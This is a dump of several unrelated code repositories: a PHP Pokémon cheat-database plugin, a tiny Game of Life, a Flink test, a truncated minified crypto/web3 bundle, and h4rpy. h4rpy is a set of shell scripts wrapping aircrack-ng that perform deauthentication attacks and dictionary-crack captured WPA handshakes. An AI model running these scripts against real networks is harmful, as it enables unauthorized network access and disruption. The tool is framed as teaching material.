require_once(WCF_DIR.'lib/data/cheatDatabase/entry/Entry.class.php');
/**
* Represents a list of cheat database entries.
*
* @author Stefan Hahn
* @copyright 2012 Stefan Hahn
* @license Simplified BSD License License <http://projects.swallow-all-lies.com/licenses/simplified-bsd-license.txt>
* @package com.leon.pokemon.cheatdatabase.core
* @subpackage data.cheatDatabase.entry
* @category Cheat Database
*/
class EntryList extends DatabaseObjectList {
/**
* list of entries
*
* @var array<Entry>
*/
public $entries = array();
/**
* Class name of the result object class
*
* @var string
*/
public $objectClassName = 'Entry';
/**
* @see DatabaseObjectList::countObjects()
*/
public function countObjects() {
// note: do name and ball filtering by getting IDs
$sql = "SELECT COUNT(*) AS count
FROM wcf".WCF_N."_cheat_database_entry entry
LEFT JOIN wcf".WCF_N."_cheat_database_entry_message message
ON (entry.messageID = message.messageID)
".$this->sqlJoins."
".(!empty($this->sqlConditions) ? "WHERE ".$this->sqlConditions : '');
$row = WCF::getDB()->getFirstRow($sql);
return $row['count'];
}
/**
* @see DatabaseObjectList::readObjects()
*/
public function readObjects() {
$sql = "SELECT ".(!empty($this->sqlSelects) ? $this->sqlSelects.',' : '')."
entry.*,
languagePokemonName.languageItemValue AS pokemonName,
languageBallName.languageItemValue AS ballName,
message.*
FROM wcf".WCF_N."_cheat_database_entry entry
LEFT JOIN wcf".WCF_N."_language_item languagePokemonName
ON (languagePokemonName.languageItem = CONCAT('wcf.cheatDatabase.entry.pokemon.', entry.pokedexNumber, '.', entry.form))
AND (languagePokemonName.languageID = ".WCF::getUser()->languageID.")
LEFT JOIN wcf".WCF_N."_language_item languageBallName
ON (languageBallName.languageItem = CONCAT('wcf.cheatDatabase.entry.ball.', entry.ball))
AND (languageBallName.languageID = ".WCF::getUser()->languageID.")
LEFT JOIN wcf".WCF_N."_cheat_database_entry_message message
ON (entry.messageID = message.messageID)
".$this->sqlJoins."
".(!empty($this->sqlConditions) ? "WHERE ".$this->sqlConditions : '')."
".(!empty($this->sqlOrderBy) ? "ORDER BY ".$this->sqlOrderBy : '');
$result = WCF::getDB()->sendQuery($sql, $this->sqlLimit, $this->sqlOffset);
while ($row = WCF::getDB()->fetchArray($result)) {
$this->entries[] = new $this->objectClassName(null, $row);
}
}
/**
* @see DatabaseObjectList::getObjects()
*/
public function getObjects() {
return $this->entries;
}
}
```
CheatDatabaseEntryEditForm.class.php
```<?php
// cheat database imports
require_once(WCF_DIR.'lib/form/CheatDatabaseEntryAddForm.class.php');
/**
* Shows the cheat database entry edit form.
*
* @author Stefan Hahn
* @copyright 2012 Stefan Hahn
* @license Simplified BSD License License <http://projects.swallow-all-lies.com/licenses/simplified-bsd-license.txt>
* @package com.leon.pokemon.cheatdatabase.core
* @subpackage form
* @category Cheat Database
*/
class CheatDatabaseEntryEditForm extends CheatDatabaseEntryAddForm {
/**
* @see AbstractPage::$action
*/
public $action = 'edit';
/**
* @see AbstractPage::$neededPermissions
*/
public $neededPermissions = 'mod.cheatDatabase.canEditEntry';
/**
* @see Page::readParameters()
*/
public function readParameters() {
if (isset($_REQUEST['entryID']))
$this->entryID = intval($_REQUEST['entryID']);
$this->entry = new EntryEditor($this->entryID);
if (!$this->entry->entryID) {
throw new IllegalLinkException();
}
}
/**
* @see Page::readData()
*/
public function readData() {
parent::readData();
$this->username = $this->entry->username;
$this->pokedexNumber = $this->entry->pokedexNumber;
$this->nickname = $this->entry->nickname;
$this->gender = $this->entry->gender;
$this->trainerName = $this->entry->trainerName;
$this->trainerID = $this->entry->trainerID;
$this->level = $this->entry->level;
$this->catchLocation = $this->entry->catchLocation;
$this->catchDate = $this->entry->catchDate;
$this->catchLevel = $this->entry->catchLevel;
$this->nature = $this->entry->nature;
$this->characteristic = $this->entry->characteristic;
$this->isShiny = $this->entry->isShiny;
$this->ball = $this->entry->ball;
$this->ribbonIDs = $this->entry->getRibbonIDs();
}
/**
* @see Form::save()
*/
public function save() {
MessageForm::save();
//$this->entry->update()
$this->saved();
HeaderUtil::redirect('index.php?page=CheatDatabaseEntry&entryID='.$this->entry->entryID.SID_ARG_2ND_NOT_ENCODED);
exit;
}
/**
* @see Page::assignVariables()
*/
public function assignVariables() {
parent::assignVariables();
WCF::getTPL()->assign(array(
'entry' => $this->entry
));
}
}
```
CheatDatabaseEntryPage.class.php
```<?php
// wcf imports
require_once(WCF_DIR.'lib/page/AbstractPage.class.php');
require_once(WCF_DIR.'lib/page/util/menu/PageMenu.class.php');
// cheat database imports
require_once(WCF_DIR.'lib/data/cheatDatabase/entry/Entry.class.php');
/**
* Shows a cheat database entry.
*
* @author Stefan Hahn
* @copyright 2012 Stefan Hahn
* @license Simplified BSD License License <http://projects.swallow-all-lies.com/licenses/simplified-bsd-license.txt>
* @package com.leon.pokemon.cheatdatabase.core
* @subpackage page
* @category Cheat Database
*/
class CheatDatabaseEntryPage extends AbstractPage {
public $templateName = 'cheatDatabaseEntry';
public $neededPermissions = 'user.cheatDatabase.canUseCheatDatabase';
/**
* entry id
*
* @var integer
*/
public $entryID = 0;
/**
* entry object
*
* @var Entry
*/
public $entry = null;
/**
* @see Page::readParameters()
*/
public function readParameters() {
parent::readParameters();
if (isset($_GET['entryID'])) {
$this->entryID = intval($_GET['entryID']);
}
$this->entry = new Entry($this->entryID);
if (!$this->entry->entryID) {
throw new IllegalLinkException();
}
}
/**
* @see Page::assignVariables()
*/
public function assignVariables() {
parent::assignVariables();
WCF::getTPL()->assign(array(
'entry' => $this->entry
));
}
/**
* @see Page::show()
*/
public function show() {
if (!MODULE_CHEAT_DATABASE) {
throw new IllegalLinkException();
}
PageMenu::setActiveMenuItem('wcf.header.menu.cheatDatabase');
parent::show();
}
}
```
|
0xNaN/conway-140byt.es
|
0xNaN/conway-140byt.es
conway132.js
```function(g,x,y,w,h){v=g[x][y];s=0;for(i=x-1;i<x+2;i++)for(k=y-1;k<y+2;k++)if(i>=0&&i<w&&k>=0&&k<h)s+=g[i][k];return s==3||v&&s==4;}
```
README.md
```Conway's Game of Life in 132 bytes of javascript
=====
An implementation of Conway's Game of Life in only 132 bytes of javascript code.
This project was born after i saw the works on www.140byt.es
This project is released under WTFPL license.
See COPYING file for more info.
Author: Vincenzo di Cicco aka 0xNaN <enzodicicco@gmail.com>
*****
If you want see how to work the code, you can view example.html file.```
|
0xNacho/flink-savepoints-test
|
0xNacho/flink-savepoints-test
SavepointTest.java
```package org.apache.flink.quickstart;
import java.util.concurrent.TimeUnit;
import org.apache.flink.api.common.functions.MapFunction;
import org.apache.flink.api.common.state.ValueStateDescriptor;
import org.apache.flink.api.common.typeinfo.TypeHint;
import org.apache.flink.configuration.Configuration;
import org.apache.flink.runtime.state.memory.MemoryStateBackend;
import org.apache.flink.streaming.api.datastream.DataStream;
import org.apache.flink.streaming.api.environment.StreamExecutionEnvironment;
import org.apache.flink.streaming.api.functions.windowing.RichAllWindowFunction;
import org.apache.flink.streaming.api.windowing.time.Time;
import org.apache.flink.streaming.api.windowing.windows.TimeWindow;
import org.apache.flink.util.Collector;
public class SavepointTest {
public static void main (String [] args) throws Exception{
StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
env.enableCheckpointing(1000);
env.setStateBackend(new MemoryStateBackend());
DataStream<String> stream = env.socketTextStream("localhost", 8888)
.map(new MapFunction<String, String>() {
private static final long serialVersionUID = 1519592231733654448L;
@Override
public String map(String arg) throws Exception {
return arg;
}
})
.timeWindowAll(Time.of(5, TimeUnit.SECONDS))
.apply(new RichAllWindowFunction<String, String, TimeWindow>() {
private static final long serialVersionUID = 1L;
private ValueStateDescriptor<Integer> descriptor;
@Override
public void apply(TimeWindow window,
Iterable<String> values, Collector<String> out)
throws Exception {
Integer value = getRuntimeContext().getState(this.descriptor).value();
value++;
getRuntimeContext().getState(this.descriptor).update(value);
System.out.println("Status value " + value);
out.collect(String.valueOf(value));
}
@Override
public void open (Configuration config){
this.descriptor = new ValueStateDescriptor<>(
"last-result", new TypeHint<Integer>() {
}.getTypeInfo(), new Integer(0));
}
});
stream.print();
env.execute("Savepoint example");
}
}
```
|
0xSojalSec/h4rpy
|
0xSojalSec/h4rpy
config.sh
```#!/bin/bash
rm Output/sample.txt
if [ -x "$(command -v pacman)" ]; then
pacman -Sy aircrack-ng terminator net-tools
elif [ -x "$(command -v apt)" ]; then
apt install aircrack-ng terminator net-tools
fi
mkdir /root/.config
mkdir /root/.config/terminator
cp config /root/.config/terminator/config
```
README.md
```# h4rpy
**h4rpy** is an automated WPA/WPA2 PSK attack tool, wrapper of [aircrack-ng framework](https://github.com/aircrack-ng/aircrack-ng).
**h4rpy** provides clean interface for automated cracking of WPA/WPA2 PSK networks. **h4rpy** enables monitor mode on selected wireless interface, scans the wireless space for access points, tries to capture WPA/WPA2 4-way handshake for the acess point, and starts a dictionary attack on the handshake. It is also possible to send disassociate packets to clients associated with access point.
# Installation:
Installation consists of cloning the repo, running a script that will install dependencies ([aircrack-ng framework](https://github.com/aircrack-ng/aircrack-ng) and [Terminator](https://code.launchpad.net/terminator/) are required in order to run **h4rpy**), or installing them manually, and making **h4rpy** executable. Installation script works with apt and pacman package managers (Debian and Arch).
```
# git clone https://github.com/MS-WEB-BN/h4rpy/
# cd h4rpy
# sudo bash config.sh
# sudo chmod +x h4rpy
```
# Usage:
To run h4rpy:
```
# sudo ./h4rpy
```
**Top-left**: Enabling monitor mode, scanning for access points (packet capturing of raw 802.11 frames);
**Top-right**: Packet capturing on selected wireless network, capturing the WPA/WPA2 4-way handshake;
**Bottom-left**: Sends disassocate packets to clients which are currently associated with a selected access point;
**Bottom-right**: Dictionary attack on the captured WPA/WPA2 4-way handshake.
# Screenshots:


# License:
The software is free to use, modify and distribute, as long as the credit is given to the creator (***n1x_ [[MS-WEB]](https://www.ms-web.agency/)***).
# Disclaimer:
Any actions and/or activities done by using **h4rpy** are solely your responsibility. The misuse of **h4rpy** can result in criminal charges brought against the persons in question. The author will not be held responsible in the event any criminal charges be brought against any individuals misusing **h4rpy** to break the law.
# Contribution note:
Each of the scripts/tools/programs hosted here are made as a part of [MS-WEB](https://www.ms-web.agency/)s cyber security courses, aimed toward beginners, therefore are purely educational and/or demonstrational, and are meant to stay that way, even if wider audience and real world usage are reached. All pauses present in code are there so that the user can read the output, so the action that is running is understood.
All pull requests removing such pauses, or parts of output are against the educational purpose, and will not be accepted.
```
ar.sh
```#!/bin/bash
read_parameters() {
interface=$(cat .interface.txt)
bssid=$(cat .current_target.txt)
}
aireplay() {
clear
echo -ne "[${green}+${default}] Press Enter to start deauthentication attack."
read
echo -ne "[${green}+${default}] Enter the MAC address of wireless client (optional, press enter for broadcast deauthentication): "
read client
echo -ne "[${green}+${default}] Enter the number of number of groups of deauthentication packets to send out: "
read packets
echo -e "[${green}+${default}] Press Enter to start the operation."
read
if [ -z "$client" ]
then
aireplay-ng -0 $packets -a $bssid $interface
restart
else
aireplay-ng -0 $packets -c $client -a $bssid $interface
unset client
restart
fi
}
restart() {
echo -e -n "\n[${green}*${default}] Operation completed. Press Enter to restart."
read
aireplay
}
red='\033[0;31m'
green='\033[0;32m'
yellow='\033[0;33m'
default='\033[0;39m'
read_parameters
aireplay
restart
```
ac.sh
```#!/bin/bash
read_parameters() {
bssid=$(cat .current_target.txt)
output=$(cat .output.txt)
}
wordlists() {
clear
echo -e "[${yellow}*${default}] Available wordlists: \n"
echo -e "[${yellow}0${default}] Custom.\n"
echo -e "[${yellow}1${default}] WPA-Top62."
echo -e "[${yellow}2${default}] WPA-Top447."
echo -e "[${yellow}3${default}] WPA-Top4800."
echo -ne "\n[${green}+${default}] Enter a wordlist to use in brute-forcing: "
read wordlist_choice
case "$wordlist_choice" in
0)
echo -ne "[${green}+${default}] Enter the path to wordlist: "
read wordlist
;;
1)
wordlist=Wordlists/WPA-Top62.txt
;;
2)
wordlist=Wordlists/WPA-Top447.txt
;;
3)
wordlist=Wordlists/WPA-Top4800.txt
;;
esac
}
aircrack() {
echo -e "[${green}+${default}] Press Enter to start brute-forcing (when handshake is captured)."
read
cap_file="$output-01.cap"
aircrack-ng -b $bssid -w $wordlist Output/$output/$cap_file
restart
}
restart() {
echo -e -n "\n[${green}*${default}] Operation completed. Press Enter to restart."
read
clear
aircrack
}
red='\033[0;31m'
green='\033[0;32m'
yellow='\033[0;33m'
default='\033[0;39m'
read_parameters
wordlists
aircrack
```
mm_ad.sh
```#!/bin/bash
splash() {
clear
echo -e "${red}.__ _____"
echo -e '| |__ / | |_____________ ___.__.'
echo -e '| | \ / | |\_ __ \____ < | |'
echo -e '| Y \/ ^ /| | \/ |_> >___ |'
echo -e '|___| /\____ | |__| | __// ____|'
echo -e ' \/ |__| |__| \/'
echo -e "${red} Simple WPA/WPA2 PSK attack tool${default}"
echo -e "${default} by: n1x_ ${red}[${default}MS-WEB${red}]${default}\n"
sleep 2
}
select_interface() {
echo -e "[${yellow}*${default}] Available network interfaces: \n"
iwconfig
echo -ne "\n[${green}+${default}] Enter network interface: "
read interface
}
monitor_mode() {
echo -e "[${yellow}*${default}] Eliminating processes that might interfere with the aircrack-ng suite..."
if airmon-ng check kill; then
echo -e "[${green}*${default}] Operation completed successfully."
else
echo -e "[${red}!${default}] Operation failed!"
exit 1
fi
echo -e "[${yellow}*${default}] Trying to enable monitor mode on selected wireless network interface..."
ifconfig $interface down
if iwconfig $interface mode monitor; then
echo -e "[${green}*${default}] Monitor mode enabled on selected wireless network interface."
else
echo -e "[${red}!${default}] Operation failed!"
exit 1
fi
ifconfig $interface up
}
save_interface() {
echo $interface > .interface.txt
}
airodump() {
echo -e "[${yellow}*${default}] Scanning the wireless space for networks. Use Ctrl+C to stop the operation when the target is acquired."
echo -e "[${green}+${default}] Press Enter to continue."
read
airodump-ng $interface
echo -ne "\n[${red}*${default}] Operation stopped. Press any key to restart."
read
airodump1
}
airodump1() {
airodump-ng $interface
echo -e "[${red}*${default}] Operation stopped. Press Enter to restart."
read
airodump1
}
red='\033[0;31m'
green='\033[0;32m'
yellow='\033[0;33m'
default='\033[0;39m'
splash
select_interface
monitor_mode
save_interface
airodump
```
ad.sh
```#!/bin/bash
read_interface() {
interface=$(cat .interface.txt)
}
output_dir_check() {
if [ -d "Output/$output" ]
then
echo -e "[${red}!${default}] Directory already exists!"
echo -ne "[${green}+${default}] Enter the name for output and the output directory: "
read output
output_dir_check
fi
}
airodump() {
clear
echo -ne "[${green}+${default}] Enter the MAC address of access point (BSSID): "
read bssid
echo $bssid > .current_target.txt
echo -ne "[${green}+${default}] Enter the access point channel: "
read channel
echo -ne "[${green}+${default}] Enter the name for output and the output directory: "
read output
output_dir_check
mkdir Output/$output
echo $output > .output.txt
cd Output/$output
echo -e "[${green}+${default}] Capturing packets on $bssid. Use Ctrl+C to stop the operation."
echo -e "[${green}+${default}] Press Enter to continue."
read
airodump-ng --bssid $bssid -c $channel -w $output $interface
echo -e -n "\n[${red}*${default}] Operation stopped. Press Enter to restart."
read
cd ../../
airodump
}
red='\033[0;31m'
green='\033[0;32m'
yellow='\033[0;33m'
default='\033[0;39m'
read_interface
airodump
```
h4rpy
```#!/bin/bash
h4rpy() {
terminator -l h4rpy
}
ui() {
echo -e "[${green}*${default}] Starting h4rpy..."
h4rpy
echo -e "[${red}*${default}] h4rpy stopped."
}
red='\033[0;31m'
green='\033[0;32m'
yellow='\033[0;33m'
default='\033[0;39m'
ui
```
|
0xbeer/0xBEER
|
0xbeer/0xBEER
app.js
```!function(n){var e={};function t(i){if(e[i])return e[i].exports;var r=e[i]={i:i,l:!1,exports:{}};return n[i].call(r.exports,r,r.exports,t),r.l=!0,r.exports}t.m=n,t.c=e,t.i=function(n){return n},t.d=function(n,e,i){t.o(n,e)||Object.defineProperty(n,e,{configurable:!1,enumerable:!0,get:i})},t.n=function(n){var e=n&&n.__esModule?function(){return n.default}:function(){return n};return t.d(e,"a",e),e},t.o=function(n,e){return Object.prototype.hasOwnProperty.call(n,e)},t.p="",t(t.s=31)}([function(n,e,t){var i;i=function(){var n=n||function(n,e){var t=Object.create||function(){function n(){}return function(e){var t;return n.prototype=e,t=new n,n.prototype=null,t}}(),i={},r=i.lib={},o=r.Base={extend:function(n){var e=t(this);return n&&e.mixIn(n),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),e.init.prototype=e,e.$super=this,e},create:function(){var n=this.extend();return n.init.apply(n,arguments),n},init:function(){},mixIn:function(n){for(var e in n)n.hasOwnProperty(e)&&(this[e]=n[e]);n.hasOwnProperty("toString")&&(this.toString=n.toString)},clone:function(){return this.init.prototype.extend(this)}},a=r.WordArray=o.extend({init:function(n,e){n=this.words=n||[],this.sigBytes=void 0!=e?e:4*n.length},toString:function(n){return(n||l).stringify(this)},concat:function(n){var e=this.words,t=n.words,i=this.sigBytes,r=n.sigBytes;if(this.clamp(),i%4)for(var o=0;o<r;o++){var a=t[o>>>2]>>>24-o%4*8&255;e[i+o>>>2]|=a<<24-(i+o)%4*8}else for(o=0;o<r;o+=4)e[i+o>>>2]=t[o>>>2];return this.sigBytes+=r,this},clamp:function(){var e=this.words,t=this.sigBytes;e[t>>>2]&=4294967295<<32-t%4*8,e.length=n.ceil(t/4)},clone:function(){var n=o.clone.call(this);return n.words=this.words.slice(0),n},random:function(e){for(var t,i=[],r=function(e){e=e;var t=987654321,i=4294967295;return function(){var r=((t=36969*(65535&t)+(t>>16)&i)<<16)+(e=18e3*(65535&e)+(e>>16)&i)&i;return r/=4294967296,(r+=.5)*(n.random()>.5?1:-1)}},o=0;o<e;o+=4){var s=r(4294967296*(t||n.random()));t=987654071*s(),i.push(4294967296*s()|0)}return new a.init(i,e)}}),s=i.enc={},l=s.Hex={stringify:function(n){for(var e=n.words,t=n.sigBytes,i=[],r=0;r<t;r++){var o=e[r>>>2]>>>24-r%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(n){for(var e=n.length,t=[],i=0;i<e;i+=2)t[i>>>3]|=parseInt(n.substr(i,2),16)<<24-i%8*4;return new a.init(t,e/2)}},c=s.Latin1={stringify:function(n){for(var e=n.words,t=n.sigBytes,i=[],r=0;r<t;r++){var o=e[r>>>2]>>>24-r%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(n){for(var e=n.length,t=[],i=0;i<e;i++)t[i>>>2]|=(255&n.charCodeAt(i))<<24-i%4*8;return new a.init(t,e)}},d=s.Utf8={stringify:function(n){try{return decodeURIComponent(escape(c.stringify(n)))}catch(n){throw new Error("Malformed UTF-8 data")}},parse:function(n){return c.parse(unescape(encodeURIComponent(n)))}},f=r.BufferedBlockAlgorithm=o.extend({reset:function(){this._data=new a.init,this._nDataBytes=0},_append:function(n){"string"==typeof n&&(n=d.parse(n)),this._data.concat(n),this._nDataBytes+=n.sigBytes},_process:function(e){var t=this._data,i=t.words,r=t.sigBytes,o=this.blockSize,s=r/(4*o),l=(s=e?n.ceil(s):n.max((0|s)-this._minBufferSize,0))*o,c=n.min(4*l,r);if(l){for(var d=0;d<l;d+=o)this._doProcessBlock(i,d);var f=i.splice(0,l);t.sigBytes-=c}return new a.init(f,c)},clone:function(){var n=o.clone.call(this);return n._data=this._data.clone(),n},_minBufferSize:0}),u=(r.Hasher=f.extend({cfg:o.extend(),init:function(n){this.cfg=this.cfg.extend(n),this.reset()},reset:function(){f.reset.call(this),this._doReset()},update:function(n){return this._append(n),this._process(),this},finalize:function(n){return n&&this._append(n),this._doFinalize()},blockSize:16,_createHelper:function(n){return function(e,t){return new n.init(t).finalize(e)}},_createHmacHelper:function(n){return function(e,t){return new u.HMAC.init(n,t).finalize(e)}}}),i.algo={});return i}(Math);return n},n.exports=i()},function(n,e,t){var i;i=function(n){n.lib.Cipher||function(e){var t=n,i=t.lib,r=i.Base,o=i.WordArray,a=i.BufferedBlockAlgorithm,s=t.enc,l=(s.Utf8,s.Base64),c=t.algo.EvpKDF,d=i.Cipher=a.extend({cfg:r.extend(),createEncryptor:function(n,e){return this.create(this._ENC_XFORM_MODE,n,e)},createDecryptor:function(n,e){return this.create(this._DEC_XFORM_MODE,n,e)},init:function(n,e,t){this.cfg=this.cfg.extend(t),this._xformMode=n,this._key=e,this.reset()},reset:function(){a.reset.call(this),this._doReset()},process:function(n){return this._append(n),this._process()},finalize:function(n){return n&&this._append(n),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(){function n(n){return"string"==typeof n?w:g}return function(e){return{encrypt:function(t,i,r){return n(i).encrypt(e,t,i,r)},decrypt:function(t,i,r){return n(i).decrypt(e,t,i,r)}}}}()}),f=(i.StreamCipher=d.extend({_doFinalize:function(){return this._process(!0)},blockSize:1}),t.mode={}),u=i.BlockCipherMode=r.extend({createEncryptor:function(n,e){return this.Encryptor.create(n,e)},createDecryptor:function(n,e){return this.Decryptor.create(n,e)},init:function(n,e){this._cipher=n,this._iv=e}}),m=f.CBC=function(){var n=u.extend();function t(n,t,i){var r=this._iv;if(r){var o=r;this._iv=e}else o=this._prevBlock;for(var a=0;a<i;a++)n[t+a]^=o[a]}return n.Encryptor=n.extend({processBlock:function(n,e){var i=this._cipher,r=i.blockSize;t.call(this,n,e,r),i.encryptBlock(n,e),this._prevBlock=n.slice(e,e+r)}}),n.Decryptor=n.extend({processBlock:function(n,e){var i=this._cipher,r=i.blockSize,o=n.slice(e,e+r);i.decryptBlock(n,e),t.call(this,n,e,r),this._prevBlock=o}}),n}(),h=(t.pad={}).Pkcs7={pad:function(n,e){for(var t=4*e,i=t-n.sigBytes%t,r=i<<24|i<<16|i<<8|i,a=[],s=0;s<i;s+=4)a.push(r);var l=o.create(a,i);n.concat(l)},unpad:function(n){var e=255&n.words[n.sigBytes-1>>>2];n.sigBytes-=e}},b=(i.BlockCipher=d.extend({cfg:d.cfg.extend({mode:m,padding:h}),reset:function(){d.reset.call(this);var n=this.cfg,e=n.iv,t=n.mode;if(this._xformMode==this._ENC_XFORM_MODE)var i=t.createEncryptor;else{i=t.createDecryptor;this._minBufferSize=1}this._mode=i.call(t,this,e&&e.words)},_doProcessBlock:function(n,e){this._mode.processBlock(n,e)},_doFinalize:function(){var n=this.cfg.padding;if(this._xformMode==this._ENC_XFORM_MODE){n.pad(this._data,this.blockSize);var e=this._process(!0)}else{e=this._process(!0);n.unpad(e)}return e},blockSize:4}),i.CipherParams=r.extend({init:function(n){this.mixIn(n)},toString:function(n){return(n||this.formatter).stringify(this)}})),p=(t.format={}).OpenSSL={stringify:function(n){var e=n.ciphertext,t=n.salt;if(t)var i=o.create([1398893684,1701076831]).concat(t).concat(e);else i=e;return i.toString(l)},parse:function(n){var e=l.parse(n),t=e.words;if(1398893684==t[0]&&1701076831==t[1]){var i=o.create(t.slice(2,4));t.splice(0,4),e.sigBytes-=16}return b.create({ciphertext:e,salt:i})}},g=i.SerializableCipher=r.extend({cfg:r.extend({format:p}),encrypt:function(n,e,t,i){i=this.cfg.extend(i);var r=n.createEncryptor(t,i),o=r.finalize(e),a=r.cfg;return b.create({ciphertext:o,key:t,iv:a.iv,algorithm:n,mode:a.mode,padding:a.padding,blockSize:n.blockSize,formatter:i.format})},decrypt:function(n,e,t,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),n.createDecryptor(t,i).finalize(e.ciphertext)},_parse:function(n,e){return"string"==typeof n?e.parse(n,this):n}}),v=(t.kdf={}).OpenSSL={execute:function(n,e,t,i){i||(i=o.random(8));var r=c.create({keySize:e+t}).compute(n,i),a=o.create(r.words.slice(e),4*t);return r.sigBytes=4*e,b.create({key:r,iv:a,salt:i})}},w=i.PasswordBasedCipher=g.extend({cfg:g.cfg.extend({kdf:v}),encrypt:function(n,e,t,i){var r=(i=this.cfg.extend(i)).kdf.execute(t,n.keySize,n.ivSize);i.iv=r.iv;var o=g.encrypt.call(this,n,e,r.key,i);return o.mixIn(r),o},decrypt:function(n,e,t,i){i=this.cfg.extend(i),e=this._parse(e,i.format);var r=i.kdf.execute(t,n.keySize,n.ivSize,e.salt);return i.iv=r.iv,g.decrypt.call(this,n,e,r.key,i)}})}()},n.exports=i(t(0))},function(n,e,t){var i=t(13),r=t(12),o=t(66),a={noether:"0",wei:"1",kwei:"1000",Kwei:"1000",babbage:"1000",femtoether:"1000",mwei:"1000000",Mwei:"1000000",lovelace:"1000000",picoether:"1000000",gwei:"1000000000",Gwei:"1000000000",shannon:"1000000000",nanoether:"1000000000",nano:"1000000000",szabo:"1000000000000",microether:"1000000000000",micro:"1000000000000",finney:"1000000000000000",milliether:"1000000000000000",milli:"1000000000000000",ether:"1000000000000000000",kether:"1000000000000000000000",grand:"1000000000000000000000",mether:"1000000000000000000000000",gether:"1000000000000000000000000000",tether:"1000000000000000000000000000000"},s=function(n,e,t){return new Array(e-n.length+1).join(t||"0")+n},l=function(n,e){n=o.encode(n);for(var t="",i=0;i<n.length;i++){var r=n.charCodeAt(i);if(0===r){if(!e)break;t+="00"}else{var a=r.toString(16);t+=a.length<2?"0"+a:a}}return"0x"+t},c=function(n){var e=u(n),t=e.toString(16);return e.lessThan(0)?"-0x"+t.substr(1):"0x"+t},d=function(n){if(g(n))return c(+n);if(b(n))return c(n);if("object"==typeof n)return l(JSON.stringify(n));if(p(n)){if(0===n.indexOf("-0x"))return c(n);if(0===n.indexOf("0x"))return n;if(!isFinite(n))return l(n,1)}return c(n)},f=function(n){n=n?n.toLowerCase():"ether";var e=a[n];if(void 0===e)throw new Error("This unit doesn't exists, please use the one of the following units"+JSON.stringify(a,null,2));return new i(e,10)},u=function(n){return b(n=n||0)?n:!p(n)||0!==n.indexOf("0x")&&0!==n.indexOf("-0x")?new i(n.toString(10),10):new i(n.replace("0x",""),16)},m=function(n){return/^0x[0-9a-f]{40}$/i.test(n)},h=function(n){n=n.replace("0x","");for(var e=r(n.toLowerCase()),t=0;t<40;t++)if(parseInt(e[t],16)>7&&n[t].toUpperCase()!==n[t]||parseInt(e[t],16)<=7&&n[t].toLowerCase()!==n[t])return!1;return!0},b=function(n){return n instanceof i||n&&n.constructor&&"BigNumber"===n.constructor.name},p=function(n){return"string"==typeof n||n&&n.constructor&&"String"===n.constructor.name},g=function(n){return"boolean"==typeof n};n.exports={padLeft:s,padRight:function(n,e,t){return n+new Array(e-n.length+1).join(t||"0")},toHex:d,toDecimal:function(n){return u(n).toNumber()},fromDecimal:c,toUtf8:function(n){var e="",t=0,i=n.length;for("0x"===n.substring(0,2)&&(t=2);t<i;t+=2){var r=parseInt(n.substr(t,2),16);if(0===r)break;e+=String.fromCharCode(r)}return o.decode(e)},toAscii:function(n){var e="",t=0,i=n.length;for("0x"===n.substring(0,2)&&(t=2);t<i;t+=2){var r=parseInt(n.substr(t,2),16);e+=String.fromCharCode(r)}return e},fromUtf8:l,fromAscii:function(n){for(var e="",t=0;t<n.length;t++){var i=n.charCodeAt(t).toString(16);e+=i.length<2?"0"+i:i}return"0x"+e},transformToFullName:function(n){if(-1!==n.name.indexOf("("))return n.name;var e=n.inputs.map(function(n){return n.type}).join();return n.name+"("+e+")"},extractDisplayName:function(n){var e=n.indexOf("("),t=n.indexOf(")");return-1!==e&&-1!==t?n.substr(0,e):n},extractTypeName:function(n){var e=n.indexOf("("),t=n.indexOf(")");return-1!==e&&-1!==t?n.substr(e+1,t-e-1).replace(" ",""):""},toWei:function(n,e){var t=u(n).times(f(e));return b(n)?t:t.toString(10)},fromWei:function(n,e){var t=u(n).dividedBy(f(e));return b(n)?t:t.toString(10)},toBigNumber:u,toTwosComplement:function(n){var e=u(n).round();return e.lessThan(0)?new i("ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",16).plus(e).plus(1):e},toAddress:function(n){return m(n)?n:/^[0-9a-f]{40}$/.test(n)?"0x"+n:"0x"+s(d(n).substr(2),40)},isBigNumber:b,isStrictAddress:m,isAddress:function(n){return!!/^(0x)?[0-9a-f]{40}$/i.test(n)&&(!(!/^(0x)?[0-9a-f]{40}$/.test(n)&&!/^(0x)?[0-9A-F]{40}$/.test(n))||h(n))},isChecksumAddress:h,toChecksumAddress:function(n){if(void 0===n)return"";n=n.toLowerCase().replace("0x","");for(var e=r(n),t="0x",i=0;i<n.length;i++)parseInt(e[i],16)>7?t+=n[i].toUpperCase():t+=n[i];return t},isFunction:function(n){return"function"==typeof n},isString:p,isObject:function(n){return null!==n&&!Array.isArray(n)&&"object"==typeof n},isBoolean:g,isArray:function(n){return Array.isArray(n)},isJson:function(n){try{return!!JSON.parse(n)}catch(n){return!1}},isBloom:function(n){return!(!/^(0x)?[0-9a-f]{512}$/i.test(n)||!/^(0x)?[0-9a-f]{512}$/.test(n)&&!/^(0x)?[0-9A-F]{512}$/.test(n))},isTopic:function(n){return!(!/^(0x)?[0-9a-f]{64}$/i.test(n)||!/^(0x)?[0-9a-f]{64}$/.test(n)&&!/^(0x)?[0-9A-F]{64}$/.test(n))}}},function(n,e,t){var i=t(13),r=t(2),o=t(15),a=t(25),s=function(n){i.config(o.ETH_BIGNUMBER_ROUNDING_MODE);var e=r.padLeft(r.toTwosComplement(n).toString(16),64);return new a(e)},l=function(n){var e=n.staticPart()||"0";return function(n){return"1"===new i(n.substr(0,1),16).toString(2).substr(0,1)}(e)?new i(e,16).minus(new i("ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",16)).minus(1):new i(e,16)},c=function(n){var e=n.staticPart()||"0";return new i(e,16)};n.exports={formatInputInt:s,formatInputBytes:function(n){var e=r.toHex(n).substr(2),t=Math.floor((e.length+63)/64);return e=r.padRight(e,64*t),new a(e)},formatInputDynamicBytes:function(n){var e=r.toHex(n).substr(2),t=e.length/2,i=Math.floor((e.length+63)/64);return e=r.padRight(e,64*i),new a(s(t).value+e)},formatInputString:function(n){var 